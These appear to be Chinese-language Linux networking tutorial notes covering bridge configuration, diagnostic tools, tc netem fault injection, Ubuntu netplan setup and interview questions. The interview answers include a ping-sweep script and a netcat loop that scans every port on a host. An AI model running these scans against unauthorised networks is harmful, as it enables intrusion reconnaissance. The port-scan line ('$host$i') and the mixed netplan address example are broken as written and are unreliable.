#3查看网桥配置文件(写入文件)
cat /etc/sysconfig/network-scripts/ifcfg-br0
DEVICE=br0
STP=yes
TYPE=Bridge
BOOTPROTO=static
IPADDR=10.0.0.100
PREFIX=24

cat /etc/sysconfig/network-scripts/ifcfg-br0-port0
TYPE=Ethernet
NAME=br0-port0
DEVICE=eth0
ONBOOT=yes
BRIDGE=br0
UUID=23f41d3b-b57c-4e26-9b17-d5f02dafd12d

#4安装管理软件包:
yum install bridge-utils
brctl show
nmcli con reload

网络测试诊断工具

  • 测试网络连通性 ping
  • 显示正确的路由表 ip route route
  • 跟踪路由 traceroute tracepath mtr
  • 确定名称服务器使用 nslookup host dig
  • 抓包工具 tcpdump wireshark
  • 安全扫描工具 nmap netcat :网络界的瑞士军刀,即nc
  • 流量控制工具 tc 范例:
tc qdisc add dev eth0 root netem loss 50%
tc qdisc add dev eth0 root netem delay 1000ms
tc qdisc show dev eth0
tc qdisc del

Ubuntu 网络配置

主机名

修改主机名

root@ubuntu1804:~# hostnamectl set-hostname ubuntu1804.magedu.org
root@ubuntu1804:~# cat /etc/hostname
ubuntu1804.magedu.org
root@ubuntu1804:~# hostname
ubuntu1804.magedu.org
root@ubuntu1804:~# echo $HOSTNAME
ubuntu1804
root@ubuntu1804:~# exit
logout
wang@ubuntu1804:~$ sudo -i
root@ubuntu1804:~# echo $HOSTNAME
ubuntu1804.magedu.org

网卡名称

默认ubuntu的网卡名称和 CentOS 7 类似,如:ens33,ens38等 修改网卡名称为传统命名方式:

#修改配置文件为下面形式
root@ubuntu1804:~#vi /etc/default/grub
GRUB_CMDLINE_LINUX="net.ifnames=0"
#或者sed修改
root@ubuntu1804:~# sed -i.bak '/^GRUB_CMDLINE_LINUX=/s#"$#net.ifnames=0"#'
/etc/default/grub

#生效新的grub.cfg文件
root@ubuntu1804:~# grub-mkconfig -o /boot/grub/grub.cfg
#或者
root@ubuntu1804:~# update-grub
root@ubuntu1804:~# grep net.ifnames /boot/grub/grub.cfg
            linux /vmlinuz-4.15.0-96-generic root=UUID=51517b88-7e2b-4d4a-8c14-
fe1a48ba153c ro net.ifnames=0
            linux /vmlinuz-4.15.0-96-generic root=UUID=51517b88-7e2b-4d4a-
8c14-fe1a48ba153c ro net.ifnames=0
            linux /vmlinuz-4.15.0-96-generic root=UUID=51517b88-7e2b-4d4a-
8c14-fe1a48ba153c ro recovery nomodeset net.ifnames=0
            linux /vmlinuz-4.15.0-76-generic root=UUID=51517b88-7e2b-4d4a-
8c14-fe1a48ba153c ro net.ifnames=0
            linux /vmlinuz-4.15.0-76-generic root=UUID=51517b88-7e2b-4d4a-
8c14-fe1a48ba153c ro recovery nomodeset net.ifnames=0

#重启生效
root@ubuntu1804:~# reboot

Ubuntu网卡配置

对缩进很严格 官网文档: https://help.ubuntu.com/
https://ubuntu.com/server/docs/configuring-networks

配置自动获取IP

网卡配置文件采用YAML格式,必须以 /etc/netplan/XXX.yaml 文件命名方式存放 可以每个网卡对应一个单独的配置文件,也可以将所有网卡都放在一个配置文件里 范例: root@ubuntu1804:~# cat /etc/netplan/01-netcfg.yaml

This file describes the network interfaces available on your system

For more information, see netplan(5).

network: version: 2 renderer: networkd ethernets: eth0: dhcp4: yes


修改网卡配置文件后需执行命令生效:

root@ubuntu1804:~#netplan apply

### 配置静态IP

范例:

root@ubuntu1804:~#vim /etc/netplan/01-netcfg.yaml
network:
  version: 2
  renderer: networkd
  ethernets:
    eth0:
      addresses: [192.168.8.10/24,10.0.0.10/8] #或者用下面两行,两种格式不能混用
      - 192.168.8.10/24
      - 10.0.0.10/8
      gateway4: 10.0.0.2
      nameservers:
        search: [magedu.com, magedu.org]
        addresses: [180.76.76.76, 8.8.8.8, 1.1.1.1]

查看ip和gateway

root@ubuntu1804:~#ip addr
root@ubuntu1804:~#route -n

查看DNS

root@ubuntu1804:~#ls -l /etc/resolv.conf
lrwxrwxrwx 1 root root 39 Dec 12 11:36 /etc/resolv.conf ->
../run/systemd/resolve/stub-resolv.conf
root@ubuntu2004:~# resolvectl status #Ubuntu 20.04新命令
root@ubuntu1804:~# systemd-resolve --status
Global

.......

配置多⽹卡静态IP和静态路由

image image image

常见面试题

  • 简述 TCP/IP三次握手和四次挥手的工作原理?
  • Centos7,8 Linux操作系统如何临时和永久配置IP地址?请写出操作步骤
  • 用一行命令找出ifconfig命令结果中的IP地址?
  • 使用tcpdump 监听主机为192.168.1.1,tcp端口为80的数据,同时将输出结果保存成文件?
NET=192.168.5
cat /dev/null > hosts.txt
for i in {1..254}; do
	if ping -c1 -W8 $NET.$i &> /dev/null ; then
		echo $NET.$i is up |tee -a hosts.txt
	fi
done
NET=192.168.5
cat /dev/null > hosts.txt
for ((i=1; i<=254; i++)); do
	if ping -c1 -W8 $NET.$i &> /dev/null ; then
		echo $NET.$i is up |tee -a hosts.txt
	fi
done
  • 写一个扫描某个主机端口的状态的脚本
i=1
host=10.0.0.7
while [ $i -le 65535 ]; do
 if nc -z $host$i &> /dev/null ; then
 echo $i | tee -a port.txt
 fi
 let i++
done

image image image

总结

image image image